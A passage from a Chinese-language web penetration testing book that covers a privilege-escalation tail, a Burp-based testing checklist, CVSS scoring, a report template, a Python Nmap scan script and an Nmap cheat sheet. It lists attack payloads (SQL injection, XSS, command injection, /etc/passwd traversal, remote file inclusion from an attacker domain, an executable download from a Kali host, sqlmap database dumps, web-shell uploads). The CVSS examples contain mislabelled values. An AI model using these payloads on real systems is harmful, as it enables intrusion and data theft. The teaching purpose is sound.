执行wget_win.vbs脚本:
cscript wget_win.vbs http://[Kali IP address]/[File Name] get-admin.exe
我选择了文件名get-admin.exe。你不必使用相同的名字;你可以使用任何你喜欢的名字。
管理员或 root 权限
输入所有这些命令是耗时的。为了更快地完成这个过程,最好的方法是通过前一部分中描述的方法上传一个脚本文件到受害者的机器,文件传输。网上最好的脚本可以从以下 GitHub 仓库下载:
-
适用于 Windows:
github.com/pentestmonkey/windows-privesc-check
如果你使用 Metasploit 并且拥有 Meterpreter 会话,请使用以下命令提升权限:
meterpreter > getsystem
请参阅附录 B,以获取 Metasploit/Meterpreter 权限提升的完整指南。
Windows 权限提升漏洞通常用 Python 编写。你可以下载pyinstaller.py将漏洞转换为可执行文件并上传到远程服务器,例如:
-
安装 PyInstaller:
$pip install pyinstaller -
下载你的漏洞:
$wget http://[漏洞 URL] -
转换它:
$python pyinstaller.py --onefile [python file.py]
有些漏洞是用 C 语言编写的。要编译 C 语言二进制文件,请执行以下命令:
$gcc -o [输出文件名] [原始二进制文件.c]
总结
本章涵盖了许多话题,从信息收集到权限提升。我尽力涵盖了最重要的内容,并且直接切入重点,省略了琐碎的细节,以便在单章中最大限度地覆盖话题。
本章你学到的只是渗透测试的部分内容。事实上,本章我们只涉及了基于网络的评估。在下一章,我们将讨论基于 Web 应用的渗透测试。
第十章:网页入侵测试
本书的主要目的是讲解这个主题:网页入侵测试,也叫做网页渗透测试。你可能是因为这个主题而购买本书的,但你需要知道,网页渗透测试只是拼图的一部分。为了实现成功的完整渗透测试,你还需要包括威胁建模、源代码审查以及网络渗透测试。
第七章,应用威胁建模,应该已经为你提供了网页应用程序的架构概览,源代码审查也应该让你有了深入的理解。别忘了网络渗透测试,它可以揭示出有趣的漏洞。我设计这些章节的顺序是有原因的——反映现实生活中的场景。我写这本书并不是为了赚钱;事实上,我希望我的读者会想,这本书的作者是谁?让我请他喝一杯!
正如我之前所做的,我会尽量以最少的哲学讨论和最直接的内容来写这章。为此,让我们跳过所有的废话,开始这章精彩的内容,这一章将涵盖以下主题:
-
网页入侵测试工作流程
-
识别隐藏的网页内容
-
常见网页测试检查表
-
特殊页面测试检查表
-
报告
网页入侵测试工作流程
这是本章中最重要的部分,因为它将帮助你构建你的测试结构。一个典型的渗透测试员会面临的挑战是每个人都告诉他们参考 OWASP 的网页入侵测试检查表。但是,所有测试人员都会问自己一个大问题:*我从哪里开始?*我如何按照检查表进行? 在进入具体步骤之前,让我们先看一下这个工作流程的图像,一张图胜过千言万语。我的工作流程基于一个代理工具:Burp Pro。更多细节请参见本书开头的第四章,全面了解使用 Burp Suite:
-
第一步在前面的图中没有提到,它是网页服务器漏洞评估,我们在前一章讨论过。
-
第二步是启动 Burp 并确保在代理选项卡中开启了拦截功能。接下来,分别浏览每一页,并通过代理的请求/响应详细信息检查内容。在浏览过程中,尝试与每一页进行交互,手动发送包含数据的表单 POST 请求。同时,尝试在搜索页面上使用搜索按钮。你明白了,别只是盲目点击。
-
使用Burp Spider和Burp 内容发现来爬取页面。你也可以使用其他工具进行爬取,详情请见前一章的 HTTP 枚举部分。
-
识别任何隐藏的内容,如
robots.txt文件。我们将在本章稍后展示检查表(暂时先获取整体概念)。 -
Burp 将列出在目标选项卡中找到的所有页面和文件。对于每个找到的页面,执行以下步骤。
-
将每个请求发送到Burp Scanner以自动扫描问题。
-
对于手动扫描,您需要问自己以下问题:这是一个特殊页面吗?(例如,登录页面;再次强调,不用担心。稍后我将列出所有细节。)
-
如果是特殊页面,我们将按照该页面特定的清单进行检查。例如,如果是登录页面,我们将测试默认凭据。之后,我们将按照常见清单进行检查。
-
如果不是特殊页面,我们将直接转到常见清单(检查注释、SQLi 输入测试等)。
-
收集所有发现的漏洞并从中创建报告。
识别隐藏内容
实际上,您将问自己的一个重要问题是,我需要找到什么? 当进行 Web 入侵测试时,您需要一个可靠的清单作为参考。话虽如此,以下是您可以在工作流程中的此步骤中使用的清单:
-
Robots.txt文件 -
备份文件(
.bak、.old) -
其他有趣的文件(
.xls、.doc、.pdf、.txt) -
管理 URL(例如,
phpmyadmin, wp-admin) -
调试剩余页面和 URL
-
是否使用 CMS?(WordPress)
如果在前述清单中找到任何项目,请检查其内容是否包含有价值的信息,包括:
-
个人信息
-
电子邮件地址
-
凭据
-
进入到另一个系统的入口点(例如,WordPress)
常见网页清单
这是 Web 入侵测试清单的核心。如前述工作流程中所述,您需要将此清单应用于每个页面,无论其性质如何。让我们深入了解:
-
确定网页的入口点(指向后端的入口点;记住我们将在接下来的步骤中使用入口点),包括:
-
URL
-
头部(例如,cookie、URL 引用等)
-
HTML 控件(下拉列表、单选按钮、隐藏输入、文本框等)
-
-
检查使用 Burp Target 调用的所有后端或第三方 Web 服务和 Web API。
-
强制将 URL 切换到HTTP模式,并查看是否有效,或者是否仍然保持在 HTTPS。
-
尝试使页面生成错误;换句话说,错误消息是否透露给黑客线索?
-
测试逻辑漏洞(例如,以零美元购买商品,或应用随机生成的折扣)。
-
我们能够无需身份验证加载页面吗?在 Burp 中使用浏览器中的请求(除非页面不需要受保护)。
-
尝试直接调用管理员页面或资源(例如,Web API 和图像),使用低级别权限。
-
使用具有不同权限的多个帐户进行测试(普通用户与管理员)。使用 Burp 的比较站点地图功能来完成此任务。
-
检查头部安全最佳实践,确保以下值存在:
-
X-frame-options -
X-content-type-options -
Strict-transport-security -
Content-security-policy -
X-permitted-cross-domain-policies -
X-XSS-protection:1;mode=block -
X-content-type-options:nosniff
-
-
通过将cookie/sessionID发送到 Burp Sequencer,分析其随机性。
-
暴力破解****cookie/sessionID,通过将其发送到 Burp Intruder。选择 sniper 作为攻击类型,对于有效载荷类型,设置为 Character Frobber。
-
确保每次登录后会生成一个新的会话。
-
尝试解码 cookie/sessionID(或 ASP.NET ViewState)使用 Burp Decoder。
-
操控 cookie 参数(例如,将
isAdmin=0更改为isAdmin=1)。 -
会话超时的持续时间是多少?
-
检查客户端源代码(HTML 和 JavaScript),查找以下内容:
-
HTML 注释
-
调试遗留物
-
安全逻辑缺陷
-
隐藏输入控件的内容
-
禁用控件(例如,
<input disabled="true" name="secret">)
-
-
检查所有经过身份验证的页面上是否存在注销按钮。
-
搜索 ID(例如,
EmployeeID= 100)在入口点,并使用 Burp Intruder 对其进行暴力破解。通常,这个测试会让你揭示其他用户的数据(例如两个具有相同权限的帐户)。 -
尝试访问资源,这些资源是测试帐户无法查看的(例如图片、文档等)。
-
使用 Burp CSRF POC 测试CSRF。通常,Burp 扫描器会自动检测到它。
-
尝试绕过每个具有客户端验证的 HTML 控件(例如,
<form action='addItem.aspx' onsubmit='return validate(this)' >);检查服务器端是否也会验证它。 -
使用模糊测试技术测试SQL 注入(使用 Burp Intruder 或 Repeater),并注入以下内容:
-
' -
1; 等待延迟
'0:15:0'-- -
使用 SQL map 自动化:
-
$sqlmap -u http://[victim IP] --crawl=1
- 如果收到错误消息,或者执行了延迟操作,请使用SQL map 导出数据库(对于以下示例,我们已经确定
http://10.0.0.100/index.php?id=234是一个候选项,并且数据库是 MySQL):
$**sqlmap** **-u** http://10.0.0.100/index.php?id=234 --dbms=mysql --dump --threads=7
-
使用模糊测试技术测试XSS(使用 Burp Intruder 或 Repeater),并尝试注入以下内容:
-
<script> alert(1) </script> -
"><script>alert(1)</script>
-
-
使用模糊测试技术测试命令注入(使用 Burp Intruder 或 Repeater),并尝试注入以下内容(我将使用
whoami命令,因为它在 Windows 和 Linux 上都存在):-
& whoami -
| whoami -
|| whoami -
; whoami
-
-
使用模糊测试技术测试本地文件包含(使用 Burp Intruder 或 Repeater),并尝试注入以下内容(尝试手动更改斜杠的数量以到达正确的目录):
-
Linux: ../../../../etc/passwd -
Windows: ../../../../boot.ini
-
-
测试远程文件包含,通过注入另一个网站的 URL(例如,
http://[victim domain]/page.php?file=http://[attacker domain]/[infected page])。
OWASP 提供了一些手动 Web 入侵测试的项目,网址为 www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents。
特殊页面检查清单
在渗透测试过程中,你将遇到一些特定的页面,遇到这些页面时,你需要使用一个与之前不同的检查清单。请注意,在完成这一步后,你仍然需要使用通用的检查清单:
-
登录页面(包括管理员页面):
-
测试默认凭证(例如,
用户名= admin和密码= admin)。 -
使用字典文件进行暴力破解凭证。
-
测试在多次失败尝试后是否会锁定账户,以防止 DoS 攻击。
-
是否使用 CAPTCHA?它可以防御自动化攻击。
-
使用 SQL 注入绕过身份验证。
-
它们是否使用记住密码功能?
-
-
注册页面:
-
它们是否允许使用弱密码?
-
如果你用现有用户名注册,你能枚举用户吗?
-
测试是否存在弱且预生成的问题和答案(例如,最喜欢的颜色,容易通过暴力破解获得)。
-
-
重置/更改密码页面:
-
测试用户是否能更改他人的密码(例如,更改管理员密码)。
-
检查密码更改和重置的工作流程。
-
用户在更改/重置后是否会收到确认电子邮件?
-
重置/更改密码时需要哪些信息?
-
新的临时密码(用于密码重置)的强度(或随机性)如何?
-
用户是否被要求在第一次登录后更改随机密码(用于密码重置)?
-
对于密码更改,用户在更改过程中是否需要输入旧密码?
-
-
上传页面:
-
你能上传一个 Web shell 吗?(使用
msfvenom。) -
如果应用程序允许上传可执行文件,你能上传一个后门吗?(使用
msfvenom。) -
上传后,你能通过 URL 访问文件吗?你能看到其他用户的文件吗?
-
报告
在完成渗透测试活动后,你需要创建一份报告。人们通常会从工具(Burp、Nessus 等)自动生成的报告中复制粘贴内容。这正是业余人员与专业人员的区别:后者会确保验证误报并重新评估漏洞的评分。在本节中,我将展示如何评估你发现的漏洞评分,之后,我将分享一个模板,供你在未来的报告活动中参考。
通用漏洞评分系统 – CVSS
通用漏洞评分系统(CVSS)v3 在一段时间前发布,作为对 CVSS v2 的增强。一个大问题是:如果工具(例如 Burp)已经计算了分数,为什么还需要重新计算?让我给你举个例子。假设你发现了一个 SQL 注入漏洞,报告上显示评分很高。但实际上,测试的服务器已经与互联网断开,并且仅在特定 VLAN 上可用,而且存储在数据库中的数据并不机密。你还应该认为这个评分很高吗?当然不!这就是为什么你总是需要重新计算你的评分,以确保它与现实相匹配。
这里我使用的是 CVSS v3,但你也可以使用在线计算器:www.first.org/cvss/calculator/3.0。
CVSS 考虑了以下变量(你稍后会理解每个变量的含义):
-
攻击向量 (AV):网络 (N),邻接 (A),本地 (L),物理 (P)
-
攻击复杂性 (AC):低 (L),高 (H)
-
所需权限 (PR):无 (N),低 (L),高 (H)
-
用户交互 (UI):无 (N),需要 (R)
-
范围 (S):未改变 (U),已改变 (C)
-
机密性 (C):无 (N),低 (L),高 (H)
-
完整性 (I):无 (N),低 (L),高 (H)
-
可用性 (A):无 (N),低 (L),高 (H)
有些人更喜欢使用 DREAD 方法来计算分数。这是个人的选择;最终,你需要确保你拥有一个准确的度量标准,能够帮助你的组织(或客户)。另外,你可以同时使用两种方法,虽然这会增加开销;但再次强调,没有优先选择。与团队讨论,找出他们最喜欢的方法。最终,你需要考虑到大多数工具使用国家漏洞数据库(NVD),它使用 CVSS 来计算分数。
我们如何判断一个 9 分的评分是高的或是关键的呢?你不需要再碰壁了;这是评分指南:CVSS V3 基础评分:0-10
| 严重性 | 基础评分范围 |
|---|---|
| 无 | 0 |
| 低 | 0.1 - 3.9 |
| 中等 | |
| 高 | 7.0 - 8.9 |
| 危急 | 9.0 - 10.0 |
让我们看一个实际的例子,来计算两个漏洞的 CVSS 评分:
-
SQL 注入
-
反射型 XSS
该 web 服务器可以通过互联网访问,数据库存储了机密数据(客户个人信息)。
第一个例子 – SQL 注入
测试者通过注入单引号成功执行了 SQL 注入,后来他使用 SQL map 导出了整个数据库:
-
AV:N:攻击者将通过网络连接执行攻击。
-
AC:L:复杂度非常低,因为这是反射型 XSS(当我们在 URL 查询字符串中注入单引号
'时,出现了错误信息)。 -
PR:N:无需特权。
-
UI:R:受害者不需要与有效载荷进行交互。
-
S:C:范围不仅仅是 Web 服务器;数据库也受到影响。
-
C:H:由于数据库包含机密数据。
-
I:H:黑客可以通过远程执行 SQL 命令更改数据库中的数据。
-
A:H:黑客可以删除所有记录,导致数据库不可用。
第二个案例–反射型 XSS
测试人员能够将 JavaScript 注入到 URL 参数中,浏览器执行了该脚本:
-
AV:N:黑客将通过网络连接执行攻击。
-
AC:L:复杂度非常低;黑客在所有浏览器上测试了 JavaScript,并且它能够正常运行。
-
PR:N:不需要权限。
-
UI:N:受害者需要通过社交工程攻击点击一个链接。
-
S:C:范围不仅限于 Web 服务器;受害者的浏览器也受到影响。
-
C:L:由于设置了
HttpOnly标志,机密性影响较低,因为攻击者未能访问足够的 cookie 数据来劫持受害者的会话。 -
I:L:黑客可能只会在受害者的浏览器上下文中更改数据。
-
A:N:黑客无法影响服务器的可用性。
报告模板
在本节中,我将分享一个报告模板,您可以在完成渗透测试后使用(无论是 Web 入侵测试还是网络渗透测试)。
封面页:
[公司名称] – [项目名称] – 安全测试报告
目录:
History Log ........................................... [Page Number] Summary ................................................[Page Number] [Vulnerability Name]......................................[Page Number]
Summary............................................[Page Number] CVSS Score .......................................[Page Number] Issue Description..................................[Page Number] Issue Remediation..................................[Page Number] Proof............................................ [Page Number]
历史记录:
| 版本 | 日期 | 修改者 | 简短描述 |
|---|---|---|---|
| 版本号 | [今天的日期] | [您的姓名] |
总结:
下表显示了在不同类别中识别的问题数量。根据其严重性,问题被分类为严重、高、中或低,使用 CVSS v3 方法论。这反映了每个问题对[公司名称]的可能影响:
| 严重性 | 漏洞描述 | 发生次数 |
|---|---|---|
| 严重/高/中/低 | 漏洞名称(例如,反射型 XSS) | 1 到无限 |
[漏洞名称](您将在渗透测试期间对所有发现重复这一部分。)
总结:
| 严重性: | 严重/高/中/低 |
|---|---|
| 信心度: | 确定/暂定 |
| 主机/URL: | 目标 IP 地址/URL |
CVSS 得分:
问题描述:
[在这里,您需要描述漏洞的具体情况。]
问题修复:
[人们需要知道如何修复漏洞。在本节中,您将添加所有必要的信息,包括修复的技术细节。]
证明:
[在本节中,您需要添加所有从渗透测试中收集的证据;例如,截图、漏洞源代码、来自网页入侵测试的请求/响应—您明白的。]
总结
我希望你喜欢这一章。最重要的是,我希望它能帮助你快速高效地完成渗透测试任务。我在这一章中与你分享的工作流程是你成功的秘密武器;我在自己的渗透测试中也使用它。我尽力给你提供了一份检查清单,而没有过多的细节,因为你应该在本书的开头部分(特别是在第五章,理解 Web 应用程序漏洞)已经学到了这些。我以这种方式结构化本书是有原因的。
到目前为止,你已经了解了渗透测试的所有活动,从威胁建模到 Web 入侵测试。那么接下来是什么呢?既然你已经了解了所有内容,下一步是学习如何通过使用强大的编程语言 Python 来自动化渗透测试任务。
第十一章:使用 Python 进行渗透测试自动化
各位,这本书的最后一章到了,我想祝贺你们走到今天这一刻。只有有纪律且有动力的人才能到达终点线,你们每一个人都值得我的尊敬。到目前为止,你们已经学习了许多可以在安全测试中执行的终端命令。然而,在渗透测试过程中你们会发现,很多命令会重复多次,那么为什么不使用像 Python 这样的脚本语言来自动化这些命令呢?
在本章中,我将快速演示如何在 Kali 上安装 Python IDE,之后我们将通过实际场景来开发一个使用 Python 的程序。我会带领你完成所有步骤,帮助你开始自动化渗透测试任务,并尽量使用实际示例。
我在附录 E中创建了一个完整的 Python 参考部分,快去看看吧。
你准备好开始了吗?首先,让我给你介绍一下本章的内容:
-
学习如何在 Kali 上安装 Python IDE
-
学习如何在 Python 中开发自动化脚本
Python IDE
你需要一个 Python 集成开发环境(IDE)来开发你自己的脚本。你不一定非要使用 Python IDE,实际上,你可以使用 Kali Linux 中的任何文本编辑器(例如 nano、vim 或 gedit)。然而,如果你希望轻松开发大型脚本,能够调试错误、格式化源代码、可视化输出,并且在应用程序运行之前就能发现错误,使用专业的 IDE 是必不可少的。在本章中,我们将使用一个非常流行且免费的 Python IDE,叫做 PyCharm。你可以在www.jetbrains.com/pycharm/找到它。
你也可以通过终端窗口使用 Python 解释器。假设你有了一个想法,并希望快速测试它。打开 Kali 中的终端窗口,输入 python,然后按 Enter。让我们看一个例子。我将创建一个名为 ip_address 的变量,给它赋值,然后将其打印在屏幕上:
你可以在前面的截图中看到,Kali 默认的 Python 解释器是 2.7.14,实际上,我将在本章使用的也是这个版本。是的,Python 有更新的版本(版本 3),但本书不会涉及。如果你想加深对 Python 的了解,建议你观看一些在线课程,以加快学习进程,并至少购买一本书作为你高级项目的参考资料(另外,别忘了查看附录 E)。
下载并安装 PyCharm
在本节中,我们将下载并安装 PyCharm 到 Kali 上:
- 打开浏览器,直接进入下载区:
www.jetbrains.com/pycharm/download:
- 一旦你进入下载页面,下载 PyCharm 的免费社区版。下载完成后,你需要右键点击新下载的文件,并选择“解压到此处”:
- 一旦你解压了归档目录,尝试打开
bin文件夹,然后执行pycharm.sh文件:
执行上述命令后,系统会提示你几个对话框来帮助安装。没什么特别的!你只需要接受协议并使用默认的安装参数。如果改变主意,别担心,你可以稍后修改它们。这样一来,我们就完成了下载和安装 PyCharm 的步骤。
PyCharm 快速概览
在本节中,我们将尝试使用 PyCharm 执行一个简单的Hello World示例,并且我们还将更改其配置以使用 Python 2.7 版本。要运行它,执行我们之前在安装 PyCharm 时执行的pycharm.sh命令:
- 在对话框中,点击“创建新项目”按钮。接下来,选择你想保存项目的位置路径:
-
正如你在前面的截图中看到的,我已将基础解释器更改为 Python 2.7,以确保代码按照此版本的语法规范进行编译。此外,请注意,在前面的示例中,我选择将源文件保存在
/root/PycharmProjects/test路径中。点击“创建”按钮以创建新项目。 -
IDE 界面将会打开,首先你需要做的是创建 Python 文件。为此,右键点击 PyCharm 左侧的
test目录,选择“新建”,然后从菜单中点击“Python 文件”:
- 我将调用并创建
HelloWorld文件。接下来,让我们尝试创建你的第一个 Python 程序。我将添加以下简单的代码行,打印Hello World到屏幕上:
- 如果你犯了错误怎么办?IDE 会在你运行代码之前通过红色线条标出错误,并告诉你代码中出了什么问题。接下来,让我们运行
Hello World脚本。为此,选择“运行”菜单,然后从列表中选择“运行...”来执行脚本:
如果你仔细看 IDE 底部,你会看到脚本的输出:
恭喜!你刚刚完成了使用 PyCharm IDE 构建你的第一个程序。接下来让我们进入下一节,开发真正的自动化脚本。
渗透测试自动化
在本节中,我将向您展示如何开发一个完全功能的应用程序,可以自动执行 TCP 扫描并执行服务枚举。该应用程序将首先执行 Nmap TCP 扫描,然后我们将检查 FTP 或 HTTP 端口是否打开,最后我们将枚举这些服务。我将此应用程序限制为仅限 FTP 和 HTTP 端口,但您可以根据自己的喜好添加更多服务。
Automate.py 的操作
我强烈鼓励您前往github.com/PacktPublishing/Practical-Web-Penetration-Testing下载源代码。确保在 Kali 中安装gobuster(使用apt-get install gobuster命令)。
在 Kali Linux 中,打开终端窗口并在终端窗口中执行以下命令(确保您在相同目录中):
python Automate.py
执行命令后,您将输入要扫描的目标 IP 地址,应用程序将显示扫描进度,直到完成。最后,您可以在reports文件夹中检查扫描报告内容:
实用函数
在工具的这一部分,我添加了我们将在整个源代码中重复使用的实用函数。这些函数显示在以下项目列表中:
- 用以下内容打印分隔线:
separator_single_line = '------------------------------------------------------------' separator_double_line = '============================================================'
- 要在终端窗口上打印彩色文本,请使用以下内容:
# Printing Red Text for errors def print_red(text): print("\033[91m {}\033[00m".format (text))
# Printing Green Text for messages def print_green(text): print("\033[92m {}\033[00m".format (text))
# Printing Yellow Text for warnings def print_yellow(text): print("\033[93m {}\033[00m".format (text))
- 要将报告结果保存到文件中,请使用以下内容:
def save_results(results, folder_name, file_name):
try:
# Save the results to a folder/file
file_name_path = folder_name + "/" + file_name
# If the folder does not exist then create it
if not os.path.isdir (folder_name):
os.mkdir (folder_name)
# Create the file object
file_to_save = open (file_name_path, 'w')
# Make sure the output is correctly encoded
results = results.encode ('utf-8')
# Write the changes
file_to_save.write (results)
# Close file object
file_to_save.close ()
except Exception, e:
exception_message = str (e)
print_red ('[!] Error: Cannot save the results to a file! Reason:\r\n' + exception_message)
- 要执行终端窗口命令,请使用以下内容:
def execute_cmd(tool_name, cmd):
start_msg = "[+] Starting %s ..." % tool_name
print_green (start_msg)
# The output variable that stores the output from the command line
output = '' try:
# Cleanup the command string
cmd = cmd.rstrip()
# Execute the command
output += subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
# Add a new line
output += '\r\n'
except Exception, e:
exception_message = str (e)
output += exception_message
print_red ("[!] Error executing the command: " + cmd + " Reason:\r\n" + exception_message)
output += '\r\n' output += separator_single_line + '\r\n' end_msg = "[+] Finished %s ..." % tool_name
print_green (end_msg)
return output
- 在命令执行后打印错误消息,请使用以下内容:
def error_execution(tool_name): print_red ("Error Executing " + tool_name)
服务枚举
正如我之前提到的,应用程序在运行 Nmap TCP 扫描后将枚举 HTTP 和 FTP 服务(如果端口开放):
- 使用 Nmap 进行 FTP 枚举,请使用以下内容:
nmap_ftp_tool_name = 'NMAP FTP Enum' def execute_nmap_ftp_enum(ip_address, port_number):
command = "nmap -sV -p %s --script=ftp* %s" % (port_number, ip_address)
return execute_cmd (nmap_ftp_tool_name, command)
- 对于 HTTP,我使用 Nmap 进行脚本扫描和
gobuster查找隐藏的 URL:
nmap_tool_name = 'NMAP HTTP Enum' crawler_tool_name = 'Gobuster' # Description: Execute an Nmap HTTP enum command # Return: The output after command execution def execute_nmap_http_enum(ip_address, port_number):
command = "nmap -sV -p %s --script=http-enum,http-vuln* %s" % (port_number, ip_address)
return execute_cmd (nmap_tool_name, command)
# Description: Execute an HTTP browsing enum command # Return: The output after command execution def execute_directories_http_enum(ip_address, port_number):
command = "gobuster -u http://%s:%s -w /usr/share/wordlists/dirb/common.txt -s '200,204,301,302,307,403,500' -e" % (
ip_address, port_number)
return execute_cmd (crawler_tool_name, command)
DTO 服务类
数据传输对象(DTO)服务类将保存 TCP 扫描后找到的每个服务的结果。一个服务将有三个标准:
-
服务端口
-
名称
-
描述
在使用 Nmap 结果解析器时,我们将调用这个类,如下所示:
class ServiceDTO:
# Class Constructor
def __init__(self, port, name, description):
self.description = description
self.port = port
self.name = name
扫描器核心
核心部分将使用 Nmap 运行 TCP 扫描,然后解析结果,最后,对于找到的所有服务,我们调用之前讨论过的枚举方法,如下列表所示:
- 要使用 Nmap 执行 TCP 扫描,请使用以下内容:
def start_nmap_tcp_scan(ip_address):
nmap_tcp_command = "nmap -T4 -sS -sV -sC -p- -O --open --osscan-guess --version-all %s" % ip_address
nmap_tcp_output = execute_cmd ('Nmap TCP Scan', nmap_tcp_command)
#Parse the nmap scan results
service_names_list = parse_nmap_output(nmap_tcp_output)
#Start the enumeration process
start_enumeration_process(service_names_list,ip_address)
print_yellow("[!] The Program Scanner Has Finished The Execution (report saved to /reports)")
- 要解析 Nmap 输出结果,请使用以下内容:
def parse_nmap_output(nmap_output):
service_names_list = {}
nmap_output = nmap_output.split ("\n")
for output_line in nmap_output:
output_line = output_line.strip ()
services_list = []
# if port is opened
if ("tcp" in output_line) and ("open" in output_line) and not ("Discovered" in output_line):
# cleanup the spaces
while " " in output_line:
output_line = output_line.replace (" ", " ")
# Split the line
output_line_split = output_line.split (" ")
# The third part of the split is the service name
service_name = output_line_split[2]
# The first part of the split is the port number
port_number = output_line_split[0]
# It's time to get the service description
output_line_split_length = len (output_line_split)
end_position = output_line_split_length - 1
current_position = 3
service_description = '' while current_position <= end_position:
service_description += ' ' + output_line_split[current_position]
current_position += 1 # Create the service Object
service = ServiceDTO (port_number, service_name, service_description)
# Make sure to add a new service if another one already exists on a different port number
if service_name in service_names_list:
# Get the objects that are previously saved
services_list = service_names_list[service_name]
services_list.append (service)
service_names_list[service_name] = services_list
return service_names_list
- 在 TCP 扫描和结果解析后开始枚举过程:
# Start the enumeration process after the TCP scan def start_enumeration_process(nmap_output_services_list, ip_address):
enum_output = ''
for service_name in nmap_output_services_list:
services = nmap_output_services_list[service_name]
if service_name == "http":
for service in services:
port_number = service.port.split("/")[0]
enum_output += enum_http(ip_address,port_number)
elif "ftp" in service_name:
for service in services:
port_number = service.port.split ("/")[0]
enum_output += enum_ftp(ip_address,port_number)
save_results(enum_output,'./reports', ip_address+".txt")
再次邀请您从 GitHub 下载源代码,并在 Kali Linux 的 IDE 中进行操作。
摘要
我们完成了,朋友们!希望你们喜欢阅读这本书,并为了确保能够帮助你解答有关本书内容的任何问题或意见,以下是可以用来与我联系的联系方式:
-
邮箱:
gus.khawaja@guskhawaja.me -
推特:
@gusKhawaja -
领英:
https://ca.linkedin.com/in/guskhawaja -
博客:
http://ethicalhackingblog.com
黑客不是罪恶——它是一门艺术!
第十二章:Nmap 备忘单
Nmap 是一个非常方便的工具。由于你不可能总是记住所有选项,这里是你的口袋参考。
执行nmap不带任何参数,你将获得完整的帮助菜单,如果需要更多详细信息(或者可以使用$nmap -h)。以下列表并非 Nmap 提供的所有选项;它们只是最常见的选项。
Nmap 用法:nmap [扫描类型] [选项] [目标 IP / 范围]
例如:
nmap -sS -v 192.168.0.10
目标规范
目标规范是目标主机或主机组。在这个字段中,你可以使用以下内容:
-
主机名:
your_target_domain.com -
IPv4 地址:
192.168.1.1 -
IPv6 地址:
56c2:4be:2554:f94:f72d:c65:7182:4f20(使用-6启用 IPv6) -
IP 地址范围:
192.168.1.1-255 -
CIDR 块:
192.168.1.0/24 -
从文件加载目标(IP 地址):
-iL [文件名](例如,iL /root/ips.txt)
主机发现
-
列出要扫描的目标(被动扫描):
-sL -
Ping 扫描(无扫描):
-sn -
无探测(无 Ping):
-Pn -
禁用 DNS 解析:
-n或–R -
执行路由跟踪:
--traceroute -
指定自定义 DNS 服务器:
--dns-servers [10.0.0.5,10.0.0.10]
扫描类型和服务版本
-
Syn 扫描:
-sS -
TCP 连接扫描:
-sT -
服务版本扫描:
-sV -
版本识别强度:
--version-intensity [级别从 0 到 9](0是轻量级,9将尝试所有可能性) -
操作系统扫描:
-O -
更积极地猜测操作系统:
--osscan-guess -
脚本扫描:
-sC -
UDP 扫描:
-sU -
全部= OS(
-O)+版本(-sV)+脚本(-sC)+路由跟踪(--traceroute):-A
端口规范和扫描顺序
-
单个端口:例如,
-p 21 -
端口范围(从 1 到 1,000):例如,
-p 1-1000 -
端口列表:例如,
-p 21,25,80 -
热门端口:
--top-ports [数量](例如,--top-ports 100或--top-ports 1000) -
扫描比扫描器默认端口号更少的端口(快速模式):
-F
脚本扫描
-
使用默认脚本扫描:
--script=default(与-sC相同) -
使用脚本扫描(可以使用逗号分隔多个脚本):
--script=[脚本名称](例如,--script=http-enum) -
为脚本指定参数:例如,
--script-args creds.snmp=admin
时间和性能
-
设置时间速度(5 最快):
-T[0-5] -
并行主机组大小:
--min-hostgroup/max-hostgroup <大小> -
并行探测数:
--min-parallelism/max-parallelism <numprobes> -
端口扫描探测重试次数:
--max-retries <尝试次数> -
在一定时间后放弃目标:
--host-timeout <时间>
防火墙/IDS 回避和欺骗
-
欺骗源 IP 地址:例如,
-S 10.0.0.10 -
使用源端口:例如,
--source-port=80 -
伪造 macOS 地址:
--spoof-mac [mac 地址]
输出
-
正常输出:
-oN <文件> -
XML 输出:
-oX <文件> -
Grep 输出:
-oG <文件> -
增加详细程度:
-v(使用-vv或更多以获得更大效果) -
增加调试级别:
-d(使用-dd或更多以获得更大效果) -
显示端口处于特定状态的原因:
--reason -
只显示开放的端口:
--open -
显示所有发送和接收的数据包:
--packet-trace -
XSL 样式表用于将 XML 输出转换为 HTML:
--stylesheet <path/URL>(例如,–stylesheet nmap.xsl)